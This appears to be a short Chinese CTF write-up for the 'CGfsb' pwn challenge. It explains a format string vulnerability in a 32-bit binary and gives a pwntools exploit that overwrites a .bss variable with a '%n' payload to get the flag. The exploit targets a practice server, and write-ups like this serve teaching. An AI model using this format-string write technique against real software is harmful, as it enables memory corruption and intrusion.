文件下載地址:
鏈接:https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ
提取碼:y9wi
0x01.分析
checksec:
32位程序,沒有開啓ASLR。
查看源碼:
利用漏洞:
在查看源碼的時候,很明顯的發現23行存在格式化字符串漏洞,後面如果pwnme等於8,那麼就可以直接得到flag,所以我們要利用格式化字符串漏洞修改pwnme爲8,查看pwnme,發現在bss段,得到地址:
繼續確定偏移量:
偏移量爲10。可以開始寫exp了。
0x02.exp
##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",36301)
#r=process('./CGfsb')
pwnme_addr=0x0804A068
r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()